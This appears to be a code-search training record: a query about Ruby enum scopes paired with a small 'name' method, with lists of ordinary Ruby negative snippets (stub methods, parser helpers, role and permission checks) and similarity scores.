"def multi_end2(ttls)\n rpls = ''\n ttl = @tg_end.size-1\n ttl = ttls-1 if ttls\n ttl.downto(0) do |i|\n sz = @tg_end[i][/^ +/].to_s.size\n if ttls || @spc.size <= sz\n send = @tg_end.pop\n if send.strip[0,5]==\"!run!\"\n scrpt = send.gsub(\"\\n\",\"\\n#{@spc}\").split(\"\\n\")\n @doc_src = scrpt[1,99]+@doc_src\n else\n spc = send[/(^[ \\t]*)/,1].to_s\n rpls << (send.gsub(\"\\n\",\"\\n#{spc}\") + \"\\n\") \n end\n end\n end\n p \"End2 : #{rpls}\" if @dbg[:parse] && rpls!= ''\n rpls\n end",
"def end_pos=(_); end",
"def end(arg0)\n end",
"def end_line(kind); end",
"def do_eof; end",
"def check_ending(_result)\n end",
"def begin() end",
"def epilogue\r\n end",
"def eof?; end",
"def eof?; end",
"def end!\n throw :end\n end",
"def process_statement_end(tk); end",
"def missing_end trace\n found :missing_end\n @lexer.undo trace\n end",
"def end_special_list\n end",
"def end_of_word; end",
"def terminator; end",
"def terminator; end",
"def ending\n abstract!\n end",
"def the_end\n quickly do\n\"\"\"\n ______ __ __ ___ ___ ____ ___ __ __ __ \n| || | | / _] / _]| \\ | \\ | || || |\n| || | | / [_ / [_ | _ || \\ | || || |\n|_| |_|| _ || _] | _]| | || D | |__||__||__|\n | | | | || [_ | [_ | | || | __ __ __ \n | | | | || | | || | || | | || || |\n |__| |__|__||_____| |_____||__|__||_____| |__||__||__|\n \n\"\"\"\n end #end for quickly\n puts $goodbye\n abort\n end",
"def build_end\n @code << <<-CODE\n\t \t\t\treturn result\n\t\t\tend\t\n\t\tCODE\n end",
"def saw_end_list(list); end",
"def usage_end\n '}'\n end",
"def paragraph_end; end",
"def eof\n end",
"def continue; end",
"def continue; end",
"def end_section\n end",
"def auto_close\n if @tg_end.size>1\n sz = @tg_end[-1][/^ +/].to_s.size\n if @spc.size <= sz\n ed = multi_end(nil).rstrip\n p \"AutE:#{ed}#{@row}\" if @dbg[:parse]\n @doc_out += [ed,(@doc_out[-1].to_s[-1,1]==\"\\n\" ? '' : \"\\n\"),@row]\n @row = ''\n true\n end\n end\n end",
"def continue?; end",
"def end(raise_on_error=true)\n build_else(raise_on_error) if @else != \"\"\n build_end\n end",
"def tag_end(*args)\n #puts \"#{@@idpath} #{args[0]}\"\n @@endCount +=1\n @@startCount=0\n @@idpath.pop\n @@curentid = @@path.pop\n end",
"def eof!; end",
"def next_statement; end",
"def end_group(kind); end",
"def end_group(kind); end",
"def handle_end\n if get_next_token.type != \"EOL\"\n raise @err_class, \"I don't know what you're talking about!\"\n end\n end",
"def begin; end",
"def next() end",
"def next() end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def start; end",
"def endline\n\t\t@@bold = @@objs = false\n\tend",
"def eof *args\r\n if @building\r\n method_missing :eof, *args\r\n else\r\n super args.first\r\n end\r\n end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def eof?() end",
"def eof?() end",
"def eof?() end",
"def _BlockEnd\n\n _save = self.pos\n while true # sequence\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = match_string(\"}\")\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:__hyphen_)\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = apply(:_Le)\n unless _tmp\n self.pos = _save\n break\n end\n while true\n _tmp = apply(:_EmptyLine)\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_BlockEnd unless _tmp\n return _tmp\n end",
"def lex_en_expr_end; end",
"def lex_en_expr_end; end",
"def lex_en_expr_end; end",
"def add_end()\n @asm_file << \"(END)\\n@END\\n0;JMP\\n\" \n end",
"def final; end",
"def end_field; end",
"def probers; end",
"def lex_en_expr_end=(_arg0); end",
"def lex_en_expr_end=(_arg0); end",
"def lex_en_expr_end=(_arg0); end",
"def finished; end",
"def exclude_end?\n false\n end",
"def terminator=(_arg0); end",
"def end\n empty? ? 0 : last.end\n end"
] |
[
"0.73886913",
"0.73886913",
"0.73886913",
"0.7337829",
"0.7031426",
"0.6915463",
"0.6901355",
"0.6811325",
"0.6811325",
"0.6797141",
"0.6766308",
"0.6766308",
"0.6735132",
"0.67226917",
"0.67000717",
"0.6648142",
"0.6526664",
"0.6526664",
"0.6526664",
"0.6523811",
"0.65078634",
"0.64807725",
"0.6372337",
"0.62590945",
"0.6254599",
"0.623652",
"0.6229889",
"0.61975974",
"0.61975974",
"0.61920655",
"0.61483693",
"0.611243",
"0.6111684",
"0.6108138",
"0.61060524",
"0.61060524",
"0.6085769",
"0.60779154",
"0.607659",
"0.60484123",
"0.6033928",
"0.6009547",
"0.6003951",
"0.59842277",
"0.59842277",
"0.5981587",
"0.59498084",
"0.59331554",
"0.59318596",
"0.5925019",
"0.59080404",
"0.58778435",
"0.58695155",
"0.58695155",
"0.5862447",
"0.58517563",
"0.5844238",
"0.5844238",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.58319443",
"0.5828354",
"0.5820856",
"0.5806499",
"0.5806499",
"0.5806499",
"0.5806499",
"0.5806499",
"0.5806499",
"0.5806499",
"0.5806499",
"0.5791296",
"0.5791296",
"0.5791296",
"0.5786883",
"0.576894",
"0.576894",
"0.576894",
"0.5765574",
"0.5752001",
"0.5748187",
"0.5736276",
"0.57347953",
"0.57347953",
"0.57347953",
"0.57249194",
"0.57185125",
"0.57081544",
"0.5698458"
] |
0.0
|
-1
|
NB: supplied by enum scope :basic scope :moderator scope :admin
|
def name
"#{first_name.strip} #{last_name.strip}".strip
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def permissions = {}",
"def index\n @moderations = @course.moderations.all\n authorize Moderation\n end",
"def admin_status\n if self.user_admin\n if self.user_admin.level == 1\n return \"Contributor\"\n elsif self.user_admin.level == 2\n return \"Administrator\"\n elsif self.user_admin.level == 3\n return \"Super-Admin\"\n else\n return \"Undefined\"\n end \n else\n return \"Undefined\" \n end\n end",
"def admin_types\n ['ProgrammeLeader']\n end",
"def check_privilege(type)\n\nif type.floor == 1\n\t\"seller\"\n\nelsif type.floor == 2\n\t\"manager\"\n\nelsif type.floor == 3 \n\t\"admin\"\n\nelse \n \t\"user\"\n\n\tend\nend",
"def admin_level\n 5\n end",
"def permissions_level_description\n \"#{Customer.mentors_Label} in this group can view and edit #{PERMISSION_LEVELS[permissions_level.to_sym]}\"\n end",
"def info_for_edit_page\n @is_super_adm = is_super?\n\n if @is_super_adm\n # Loading Choosing of adm\n @admins = User.admins_list\n\n if @admins.empty?\n @mentors = [@admins]\n else\n employee = @user.client.employee\n if employee.present?\n @admins_cur = employee.employee_id\n @mentors_cur = @user.client.employee_id\n else\n @admins_cur = params[:administrator_id]\n @mentors_cur = 0\n end\n @mentors = User.mentors_list(@admins_cur, additional_users: User.all_local_admins)\n end\n elsif current_user.local_admin?\n @mentors = User.mentors_list(current_user.role_model.id, additional_users: [current_user])\n @mentors_cur = @user.client.employee_id\n end\n end",
"def role_enum\n\t\t[:user,:vip,:admin]\n\tend",
"def access_level\n if self.reviewer?\n return 5\n elsif self.administrator?\n return 3\n elsif self.editor?\n return 2\n elsif self.commenter?\n return 1\n end\n end",
"def access_level\n if self.reviewer?\n return 5\n elsif self.administrator?\n return 3\n elsif self.editor?\n return 2\n elsif self.commenter?\n return 1\n end\n end",
"def access\n if self.read_users.present?\n \"limited\"\n elsif self.read_groups.empty?\n \"private\"\n elsif self.read_groups.include? \"public\"\n \"public\"\n elsif self.read_groups.include? \"registered\"\n \"restricted\" \n else \n \"limited\"\n end\n end",
"def moderator_permissions\n errors.add(:base, I18n.t(\"user_block.model.non_moderator_update\")) if creator_id_changed? && !creator.moderator?\n errors.add(:base, I18n.t(\"user_block.model.non_moderator_revoke\")) unless revoker_id.nil? || revoker.moderator?\n end",
"def moderator?\n permissions == 'moderator'\n end",
"def custom_permissions\n\n campus = \"bakersfield\" if current_user.email.include?(\"bakersfield.edu\")\n campus = \"chancellor\" if current_user.email.include?(\"calstate.edu\")\n campus = \"channel\" if current_user.email.include?(\"ci.edu\")\n campus = \"chico\" if current_user.email.include?(\"chico.edu\")\n campus = \"dominguez\" if current_user.email.include?(\"dh.edu\")\n campus = \"eastbay\" if current_user.email.include?(\"eb.edu\")\n campus = \"fresno\" if current_user.email.include?(\"fresno.edu\")\n campus = \"fullerton\" if current_user.email.include?(\"fullerton.edu\")\n campus = \"humboldt\" if current_user.email.include?(\"humboldt.edu\")\n campus = \"longbeach\" if current_user.email.include?(\"lb.edu\")\n campus = \"losangeles\" if current_user.email.include?(\"la.edu\")\n campus = \"maritime\" if current_user.email.include?(\"maritime.edu\")\n campus = \"mlml\" if current_user.email.include?(\"mlml.edu\")\n campus = \"northridge\" if current_user.email.include?(\"northridge.edu\")\n campus = \"pomona\" if current_user.email.include?(\"bronco.edu\")\n campus = \"sacramento\" if current_user.email.include?(\"sacramento.edu\")\n campus = \"sanfrancisco\" if current_user.email.include?(\"sf.edu\")\n campus = \"sanmarcos\" if current_user.email.include?(\"sanmarcos.edu\")\n campus = \"sonoma\" if current_user.email.include?(\"sonoma.edu\")\n campus = \"stanislaus\" if current_user.email.include?(\"stanislaus.edu\")\n\n user_groups.push(campus)\n\n # admin\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def admin?\n type == nil || type == 'User::Moderator'\n end",
"def admin?\n type == nil || type == 'User::Moderator'\n end",
"def access_level\n if self.administrator?\n return 3\n elsif self.editor?\n return 2\n elsif self.commenter?\n return 1\n end\n end",
"def authorize_admin\n\t\tauthorize( ADMIN_USER_LEVEL ) \n\tend",
"def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end",
"def check_privilege(i = 0)\n floor_i = i.floor\n if floor_i == 1\n 'seller'\n elsif floor_i == 2\n 'manager'\n elsif floor_i >= 3\n 'admin'\n else\n 'user'\n end\nend",
"def admin_permissions\n {\n id: 1,\n appendable_permissions: [\n { permission_type: 'basic' },\n { permission_type: 'admin' }\n ]\n }\n end",
"def admin_actions(user)\n can_act_as_logged_in_user(user)\n can_view_any_profile\n can_view_any_gallery\n can_edit_saved_queries\n can_curate\n can_update_metadata\n can_administer\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end",
"def prepare_permissions\n if current_ability.admin?\n else\n # Need to add admin group to current_ability\n # or presenter will not be accessible.\n current_ability.user_groups << \"admin\"\n if presenter.tombstone.present? \n else\n current_ability.user_groups.delete(\"admin\")\n end\n end\n end",
"def role\n permission_type\n end",
"def role; end",
"def role; end",
"def admin_menu\n if session[:user_id] and session[:position]\n @admin_user = AdminUser.find_by_id(session[:user_id])\n\n @admin_expenses = Expense.where(:admin_user_id => @admin_user.id)\n\n # the following conditional sets the permissions\n if @admin_user.position.to_s == \"ManagerSnr\"\n flash[:notice] == \"#{@admin_user.first_name} is logged in \"\n @manager_permission = AdminUser.find_by_id(session[:user_id])\n\n elsif @admin_user.position.to_s == \"Manager17\"\n flash[:notice] == \"#{@admin_user.first_name} is logged in \"\n @manager_permission = AdminUser.find_by_id(session[:user_id])\n\n elsif @admin_user.position.to_s == \"Manager15\"\n flash[:notice] == \"#{@admin_user.first_name} is logged in \"\n @manager_permission = AdminUser.find_by_id(session[:user_id])\n\n elsif @admin_user.position.to_s == \"Manager12\"\n flash[:notice] == \"#{@admin_user.first_name} is logged in \"\n @manager_permission = AdminUser.find_by_id(session[:user_id])\n\n elsif @admin_user.position.to_s == \"Secretary\" or \"Treasurer\" or \"Chairman\"\n flash[:notice] == \"#{@admin_user.first_name} is logged in\"\n @admin_permission = AdminUser.find_by_id(session[:user_id])\n\n # superuser has full access\n elsif @admin_user.position.to_s == \"Administrator\"\n flash[:notice] == \"#{@admin_user.first_name} is logged in\"\n @super_user = AdminUser.find_by_id(session[:user_id])\n end\n end\n end",
"def listAdmin\n super()\n updateModules()\n\n if @modulesUsed.include?(\"Autograde\") then\n autogradeListAdmin()\n end\n\n if @modulesUsed.include?(\"Scoreboard\") then\n scoreboardListAdmin()\n end\n\n if @modulesUsed.include?(\"Partners\") then\n partnersListAdmin()\n end\n \n if @modulesUsed.include?(\"Svn\") then\n svnListAdmin()\n end\n end",
"def admin_logic\n end",
"def has_admin_access?\n admin? || moderator?\n end",
"def levels_can_see\r\n if public? || !Relationshiptype.followers_and_founders_types.include?(relationshiptype_id)\r\n Relationshiptype.followers_and_founders_types\r\n elsif relationshiptype_id == Relationshiptype.nobody\r\n Relationshiptype.founders\r\n else Relationshiptype.circle_and_closer(relationshiptype_id)\r\n end\r\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n end\n\n# if current_user.contentadmin?\n# can [:create, :destroy], GwWork\n# can [:create, :destroy], GwEtd\n# end\n end",
"def common_abilities_for_admins(user)\n can :access, Admin\n can :manage, :all if user.is_admin?\n\n conf_ids_for_organizer = Conference.with_role(:organizer, user).pluck(:id)\n conf_ids_for_cfp = Conference.with_role(:cfp, user).pluck(:id)\n conf_ids_for_info_desk = Conference.with_role(:info_desk, user).pluck(:id)\n\n if conf_ids_for_organizer\n # To access splashpage of their conference if it is not public\n can :show, Conference, id: conf_ids_for_organizer\n # To access conference/proposals/registrations\n can :manage, Registration, conference_id: conf_ids_for_organizer\n # To access conference/proposals\n can :manage, Event, program: { conference_id: conf_ids_for_organizer }\n # To access comment link in menu bar\n can :index, Comment, commentable_type: 'Event',\n commentable_id: Event.where(program_id: Program.where(conference_id: conf_ids_for_organizer).pluck(:id)).pluck(:id)\n end\n\n if conf_ids_for_cfp\n # To access comment link in menu bar\n can :index, Comment, commentable_type: 'Event',\n commentable_id: Event.where(program_id: Program.where(conference_id: conf_ids_for_cfp).pluck(:id)).pluck(:id)\n # To access conference/proposals\n can :manage, Event, program: { conference_id: conf_ids_for_cfp }\n end\n\n if conf_ids_for_info_desk\n # To access conference/proposals/registrations\n can :manage, Registration, conference_id: conf_ids_for_info_desk\n end\n end",
"def current_ability\n current_admin.ability\n end",
"def publisher_admin(role)\n\n can :manage, Publication, :publisher_id => role.publisher_id\n can :update, Publisher, :id => role.publisher_id\n can :update, IssueState\n can :update, AdminUser, :id => @user.id\n\n\n\n end",
"def admin\n #manager\n #include User,CmsRole\n can :manage, :all\n end",
"def permission_resources\n %w{roles sites employees classrooms students gapps_org_units}\n end",
"def custom_permissions\n if user_groups.include?(\"admin\")\n can :manage, :all\n end\n end",
"def admin\n\t\tcan :manage, :all\n\tend",
"def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end",
"def cat_perms\n ident = :categories\n text = 'Forum permissions'\n desc = 'All permissions that have to do with the forums'\n id_based = false\n options = [:true, :false, :flow]\n def_option = :flow\n\n forum_global = write_permission_group(ident, text, desc, options, def_option)\n\n text = 'See this category'\n desc = 'Gives the user the ability to view this category'\n g = write_permission(text, desc, :see, options, def_option)\n g.add_to_group(forum_global)\n\n text = 'Mass Moderate'\n desc = 'Gives the user the ability to perform mass moderation actions in this category'\n g = write_permission(text, desc, :mass_moderate, options, def_option)\n g.add_to_group(forum_global)\n\n text = 'Create discussions this category'\n desc = 'Gives the user the ability to creat discussions in this category'\n g = write_permission(text, desc, :create, options, def_option)\n g.add_to_group(forum_global)\n\n states = [:normal, :archived, :locked, :stickied]\n\n # Actions\n ident = :actions\n parent_text = '{0} discussions in this category'\n parent_desc = 'Gives the user the ability to {0} to discussions in this category'\n options = [:all, :own, :false, :flow]\n def_option = :flow\n\n actions = write_permission_group(ident, 'Actions', 'Actions corresponding to the root discussion object', options, def_option)\n\n [:sticky, :tag, :lock, :archive].each do |action|\n text = translate_text(parent_text, action.to_s.gsub('_', ' ').capitalize)\n desc = translate_text(parent_desc, action.to_s.gsub('_', ' ').capitalize)\n g = write_permission(text, desc, action, options, def_option)\n g.add_to_group(actions)\n end\n\n actions.add_to_group(forum_global)\n\n # Edit\n ident = 'Discussion States - Edit'\n edit_parent_text = 'Edit {0} discussions in this category'\n edit_parent_desc = 'Gives the user the ability to edit {0} discussions in this category'\n edit = write_permission_group(:edit, ident, 'Permissions for each discussion state in regards to editing', options, def_option)\n # View\n ident = 'Discussion States - View'\n view_parent_text = '{0} {1} discussions in this category'\n view_parent_desc = 'Gives the user the ability to {0} {1} discussions in this category'\n view = write_permission_group(:view, ident, 'Permissions for each discussion state in regards to viewing', options, def_option)\n\n states.each do |action|\n edit_text = translate_text(edit_parent_text, 'Edit', action)\n edit_desc = translate_text(edit_parent_desc, 'Edit', action)\n view_text = translate_text(view_parent_text, 'View', action)\n view_desc = translate_text(view_parent_desc, 'View', action)\n g = write_permission(edit_text, edit_desc, action, options, def_option)\n g1 = write_permission(view_text, view_desc, action, options, def_option)\n g.add_to_group(edit)\n g1.add_to_group(view)\n end\n\n edit.add_to_group(forum_global)\n view.add_to_group(forum_global)\n\n # Reply To\n ident = 'Discussion States - Reply'\n parent_text = 'Reply to {0} discussions in this category'\n parent_desc = 'Gives the user the ability to reply to {0} discussions in this category'\n reply_to = write_permission_group(:reply_to, ident, 'Permissions dealing with replying to different discussion states', options, def_option)\n\n states.each do |action|\n text = translate_text(parent_text, action)\n desc = translate_text(parent_desc, action)\n g = write_permission(text, desc, action, options, def_option)\n g.add_to_group(reply_to)\n end\n\n reply_to.add_to_group(forum_global)\n\n # Replies\n ident = 'Replies'\n parent_text = '{0} {1} replies in this category'\n parent_desc = 'Gives the user the ability to {0} {1} replies in this category'\n replies = write_permission_group(:replies, ident, 'Permissions dealing with replies', options, def_option)\n\n # Edit\n edit = write_permission_group(:edit, 'Replies - Edit', 'Permissions dealing with editing replies', options, def_option)\n\n [:normal, :archived].each do |action|\n text = translate_text(parent_text, 'Edit', action)\n desc = translate_text(parent_desc, 'Edit', action)\n g = write_permission(text, desc, action, options, def_option)\n g.add_to_group(edit)\n end\n\n edit.add_to_group(replies)\n\n actions = write_permission_group(:actions, 'Replies - Actions', 'Permissions dealing with performing actions on replies', options, def_option)\n\n # Archive\n text = translate_text(parent_text, 'Archive', '')\n desc = translate_text(parent_text, 'Archive', '')\n g = write_permission(text, desc, :archive, options, def_option)\n g.add_to_group(actions)\n\n # Sanction\n text = translate_text(parent_text, 'Sanction', '')\n desc = translate_text(parent_text, 'Sanction', '')\n g = write_permission(text, desc, :sanction, options, def_option)\n g.add_to_group(actions)\n\n # Override Time\n text = 'Override post cooldown time'\n desc = 'Gives the user the ability to override the post cooldown time in this category'\n g = write_permission(text, desc, :override_time, [:true, :false, :flow], def_option)\n g.add_to_group(actions)\n\n actions.add_to_group(replies)\n\n # View\n view = write_permission_group(:view, 'Replies - View', 'Permissions dealing with viewing replies', options, def_option)\n\n # Archived\n text = 'View archived replies'\n desc = 'Gives the user the ability to view archived topics in this category'\n g = write_permission(text, desc, :archived, options, def_option)\n g.add_to_group(view)\n\n # Revisions\n text = \"View a post's revisions\"\n desc = 'Gives the user the ability to view revisions from posts in this category'\n g = write_permission(text, desc, :revisions, options, def_option)\n g.add_to_group(view)\n\n view.add_to_group(replies)\n\n replies.add_to_group(forum_global)\n\n global_options = {\n text: 'Forums',\n desc: 'All permissions that have to do with the forums',\n options: options,\n def_option: def_option\n }\n\n PermissionsGenerator.new('Forums', true, global_options, forum_global, [])\nend",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n\n if user_groups.include? ['all_project_writers']\n can [:create], PulStore::Base\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end\n\n if user_groups.include? ['lae_project_writers']\n can [:create], PulStore::Lae::Box\n can [:create], PulStore::Lae::Folder\n can [:create], Pulstore::Lae::HardDrive\n end \n\n if user_groups.include? ['all_project_writers']\n can [:destroy], PulStore::Base\n end\n\n if user_groups.include? ['lae_project_readers', 'all_project_readers' ]\n can [:show], PulStore::Base\n end\n end",
"def custom_permissions\n if admin?\n can [:confirm_delete], ActiveFedora::Base\n can [:allow_downloads, :prevent_downloads], AdminSet\n\n can :manage, Spotlight::HomePage\n can :manage, Spotlight::Exhibit\n end\n\n can :read, Spotlight::HomePage\n can :read, Spotlight::Exhibit\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def get_permissions\n permissions = Hash.new\n permissions[:CanEditAllTeams] = 1\n permissions[:CanEditAllPlayers] = 2\n permissions[:CanEditAllSeasons] = 3\n permissions[:CanEditAllDivisions] = 4\n permissions[:CanEditAllRatings] = 5\n permissions[:CanEditAllRoles] = 6\n permissions[:CanEditAllPermissions] = 7\n permissions[:CanImport] = 8\n permissions[:CanApproveRatings] = 10\n @permissions = permissions\n end",
"def manager_permissions\n can :manage_collection, String do |pid|\n Rails.logger.debug(\"[MANPERM] Checking from STRING\")\n test_manager(pid)\n end\n\n can :manage_collection, DRI::Batch do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from Object\")\n test_manager(obj.id)\n end\n\n can :manage_collection, SolrDocument do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from SolrDoc\")\n cache.put(obj.id, obj)\n test_manager(obj.id)\n end\n\n can :manage, String do |pid|\n Rails.logger.debug(\"[MANPERM] Checking from STRING\")\n test_manager(pid)\n end\n\n can :manage, DRI::Batch do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from Object\")\n test_manager(obj.id)\n end\n\n can :manage, SolrDocument do |obj|\n Rails.logger.debug(\"[MANPERM] Checking from SolrDoc\")\n cache.put(obj.id, obj)\n test_manager(obj.id)\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n # TODO: This area looks like it needs to be refactored.\n\n if current_user.admin?\n editor_abilities\n upload_abilities\n publish_abilities\n roles_abilities\n hard_delete_abilities\n import_admin_abilities\n user_abilities\n group_abilities\n can [:create, :destroy, :update], FeaturedWork\n can [:manage], Hydra::Admin::Collection\n\n can :create, TinymceAsset\n can [:create, :update], ContentBlock\n can :read, ContentBlock\n can :characterize, GenericFile\n end\n\n\n if current_user.manager?\n upload_abilities\n publish_abilities\n roles_abilities\n import_user_abilities\n can [:manage], Hydra::Admin::Collection do |admin_set|\n # Can manage admin sets within their assigned unit.\n current_user.osul_groups.include? admin_set.unit_group\n end\n can [:manage], Osul::Group do |group|\n # Can manage the groups the user is in or the groups of the units a user is assigned to.\n current_user.osul_groups.include? group or current_user.osul_groups.include? group.unit\n end\n can [:create], Osul::Group\n can [:create, :destroy, :update], FeaturedWork\n end\n\n if current_user.data_entry?\n upload_abilities\n publish_abilities\n no_admin_set_abilities\n end\n\n if current_user.data_entry_student?\n upload_abilities\n no_admin_set_abilities\n end\n\n unless current_user.public?\n can :view_full, GenericFile\n end\n\n if current_user.role.nil?\n no_file_abilities\n no_admin_set_abilities\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n if current_user.admin?\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role\n # Admin user can create works of all work types\n can :create, curation_concerns_models\n end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def discover_groups\n super << Hydra::AccessControls::AccessRight::PERMISSION_TEXT_VALUE_AUTHENTICATED\n end",
"def show\n authorize @moderation\n end",
"def role_hierarchy\n [:visitor, :data_entry, :editor, :admin]\n end",
"def authorization\n authorization = 'participant'\n authorization = 'reader' if !can_submit && can_review && can_take_quiz\n authorization = 'submitter' if can_submit && !can_review && !can_take_quiz\n authorization = 'reviewer' if !can_submit && can_review && !can_take_quiz\n authorization\n end",
"def is_admin?\n return true if self.statut == \"admin\"\n end",
"def type_admin?\n (kind == 'admin')\n end",
"def permiso_anular\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_anular = false\n @security_role_type = Security::RoleType.find_by(name: \"Anular\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_anular = true\n break\n end\n end\n end\n end\n if current_user.username == \"aadmin\"\n @permiso_anular = true\n end\n if params[:action] == \"anular\" && @permiso_anular == false\n redirect_to root_path\n end\n return @permiso_anular\n end\n end\n end",
"def user_admin\n user_role.in? [\"Department Admin\",\"College Admin\",\"Tech User\"] if user_role\n end",
"def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end",
"def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end",
"def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end",
"def authorize?(user)\n user && user.moderator?\n end",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def can_approve_member?\n\t\t[1,2].include? level\n\tend",
"def sanitize_level\n return Sanitize::Config::BASIC if self.user.nil?\n return nil if self.user.admin?\n return Sanitize::Config::RELAXED if self.user.any_role?('editor', 'manager', 'contributor')\n Sanitize::Config::BASIC\n end",
"def index\n @moderators = Moderator.all\n end",
"def is_admin?\n usertype == \"admin\" and id == 0\n end",
"def can_edit\n producer.admin?(user) || group_admin?\n end",
"def admin?\n self.user_type == TYPES[:admin]\n end",
"def administrator?\n immortal? or groups.find_by_administrators true\n end",
"def index\n if current_admin.role == 0\n @requests = Request.where(\"approved = 'f'\")\n elsif current_admin.role == 1\n @requests = Request.where(\"approved = 't' AND money = 'f'\")\n else\n @requests = Request.where(\"approved = 't' AND money = 't'\")\n end\n end",
"def user_permission(singed_in, admin, paid, cancelled)\n\tif paid == \"no\" or cancelled == \"yes\"\n\t\tputs(\"go away\")\n\telsif signed_in == \"yes\" and admin == \"yes\"\n\t\tputs(\"You can see and change all the pages!\")\t\n\telsif signed_in == \"yes\" and admin == \"no\"\n\t\tputs(\"You can see all the pages!\")\n\telsif singed_in == \"no\" and admin == \"no\"\t\n\t\tputs(\"You can't see any of the pages, please sign in!\")\nend\nend",
"def auth_admin(type = 'any')\n auth_slicker\n user = User.get(session[:user])\n if type == 'any'\n unless user.admin? || user.salesman? || user.writer?\n session[:flash] = 'You must be an admin to see that page.'\n redirect '/home'\n end\n elsif type == 'admin'\n unless user.admin?\n session[:flash] = 'You must be an admin to see that page.'\n redirect '/home'\n end\n elsif type == 'salesman'\n unless user.salesman?\n session[:flash] = 'You must be a salesman to see that page.'\n redirect '/home'\n end\n elsif type == 'writer'\n unless user.writer?\n session[:flash] = 'You must be a writer to see that page.'\n redirect '/home'\n end\n end\n end",
"def admin_labs\n self.roles.where(name: \"admin\", resource_type: \"Lab\")\n end",
"def platinum\n authorize! :view, :platinum, :message => 'Access limited to teachers only.'\n end",
"def index\n authorize! :update, @user, :message => 'Not authorized as an administrator.'\n @wanteds = Wanted.all\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n can [:create, :show, :add_user, :remove_user, :index, :edit, :update, :destroy], Role if current_user.admin?\n\n can [:fa_overview], ActiveFedora::Base\n can [:advanced], ActiveFedora::Base\n can [:streets], ActiveFedora::Base\n can [:pdf_page], ActiveFedora::Base\n can [:pdf_page_metadata], ActiveFedora::Base\n can [:bookreader], ActiveFedora::Base\n can [:imageviewer], ActiveFedora::Base\n can [:streetsviewer], ActiveFedora::Base\n can [:fa_series], ActiveFedora::Base\n can [:audio_transcriptonly], ActiveFedora::Base\n can [:video_transcriptonly], ActiveFedora::Base\n end",
"def staff?\n admin || moderator\n end",
